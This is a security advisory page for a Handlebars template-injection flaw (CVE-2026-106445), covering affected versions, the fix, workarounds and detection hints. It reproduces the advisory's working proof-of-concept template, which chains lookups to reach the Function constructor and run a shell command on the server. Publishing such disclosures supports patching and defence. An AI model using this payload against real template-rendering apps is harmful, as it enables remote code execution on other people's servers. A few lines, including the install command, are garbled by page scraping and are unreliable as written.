CVE-2026-106445: Handlebars: JavaScript Injection via Own Property Check Bypass
Handlebars 3.0.0 through 4.7.9 has a bypass of its prototype deny list. A template that reaches `Function.prototype` gets `Function` back through its own `constructor` property, with no deny-list check. Where an attacker controls the template and `allowProtoMethodsByDefault: true` is set, that gives remote code execution on the server. Fixed in 4.7.10.
Published Oct 8, 2026 · Updated Oct 12, 2026 · Analysis Oct 25, 2026
What an attacker can do
Handlebars blocks dangerous names such as constructor when a template reads properties from prototypes. The function lookupProperty skips that block for own properties: if Object.prototype.hasOwnProperty.call(parent, propertyName) is true, it returns the value at once. The problem is that constructor is an own property of prototype objects. Function.prototype.constructor === Function, so once a template reaches Function.prototype, the lookup returns Function and resultIsAllowed is never consulted.
The proof of concept chains {{lookup fn "__proto__"}} to get Function.prototype, then {{lookup ... "constructor"}} to get Function. It builds a function whose body the attacker writes, and runs it through #with, #each and apply. The sample prints the result of id from child_process, so the attacker's code runs with the privileges of the Node.js process.
Two preconditions apply. The attacker controls the template being rendered. And the render call sets allowProtoMethodsByDefault: true, which lets function results through. The context also needs a reachable function, such as the fn in the proof. Packages like hbs set that option by default, so apps built on them are exposed with no code of their own.
The typical victim is an app that lets users supply or edit templates, such as an email builder, CMS, or report designer. The CVSS vector shows network reach, no privileges, and high impact on confidentiality, integrity and availability.
Who is affected
The npm package handlebars from 3.0.0 up to and including 4.7.9. Exposure needs untrusted templates and allowProtoMethodsByDefault: true. Apps that only render fixed, trusted templates are not exposed by this path. The hbs package sets that option by default, so check anything that depends on it.
npm ls handlebarsThe command also shows copies pulled in by other packages. Then search your code for allowProtoMethodsByDefault.
handlebars
- Ecosystem
- npm
- Affected
- >= 3.0.0, <= 4.7.9
- Fixed in
- 4.7.10
- Check
npm ls handlebars
How to fix it
Upgrade to handlebars 4.7.10:
npm install [email protected]The release notes list the security commit "Don't trust special properties on context data" and link it to this advisory. For packages that bundle or pin Handlebars, such as hbs, update to a version that depends on 4.7.10 or later. The advisory says users of hbs must update Handlebars to the latest version.
Workaround: do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data. Also avoid passing untrusted templates to Handlebars at all, where you can.
How to tell if you were hit
Search stored and incoming templates for lookup helper calls with __proto__ or constructor, or for the string \_\_proto__. Those strings in a user-provided template are a strong sign of an attempt. Check logs of template rendering for errors that mention Function or unexpected helpers.
On the host, look for unexpected child processes of the Node.js app, such as sh or id, new files in temp directories, and outbound connections from the app to unknown hosts. If you find code execution, treat the host as compromised and rotate the secrets the process could read.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
lookupProperty trusts own properties:
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
return result;
}Normally, prototype-derived values reach resultIsAllowed, which blocks dangerous method names such as constructor. However, constructor is itself an own property of prototype objects:
Function.prototype.constructor === Function;
String.prototype.constructor === String;
Object.prototype.constructor === Object;As a result, once a template reaches Function.prototype, looking up constructor returns Function without consulting the deny list.
Proof of Concept
An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:
- Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).
- Access constructor via own property bypass: {{lookup (lookup myFunction "\_\_proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.
- Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).
const Handlebars = require('handlebars');
// constructor deny list bypass via hasOwnProperty check in lookupProperty
const template = Handlebars.compile(
// construct code array from template string literal
'{{#with a}}' +
'{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' +
'{{lookup "" (pop)}}' +
'{{lookup "" (shift)}}' +
'{{/with}}' +
// access Function via own property bypass on Function.prototype.constructor
'{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' +
// #each sets depth0=Function without calling it, apply avoids hash body
'{{#each @root}}{{#if @index}}{{else}}' +
'{{#with (this.apply null @root.a)}}{{this}}{{/with}}' +
'{{/if}}{{/each}}'
);
const result = template(
{ fn: function(){}, a: [0] },
{ allowProtoMethodsByDefault: true }
);
console.log(result.trim());
// output: uid=1000(node) gid=1000(node) groups=1000(node)Workarounds
Do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data.
If you are using packages like hbs which set allowProtoMethodsByDefault: true by default, you have to update Handlebars to the latest version.
Credited to brandon-t-elliott.
Questions
- Is every Handlebars app vulnerable to this?
No. The attacker must control the template that is rendered, and the render call must set
allowProtoMethodsByDefault: true. Apps with fixed, trusted templates are not exposed this way.- I use hbs. Am I affected?
Possibly. The advisory says
hbssetsallowProtoMethodsByDefault: trueby default, so you have to update Handlebars to the latest version.- Which Handlebars versions are affected and fixed?
3.0.0 through 4.7.9 are affected. Version 4.7.10 is the patched release.
- Is CVE-2026-106445 exploited in the wild?
No source reports it, and it is not in CISA's KEV catalog. The advisory contains a working proof of concept, so a public exploit path exists.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
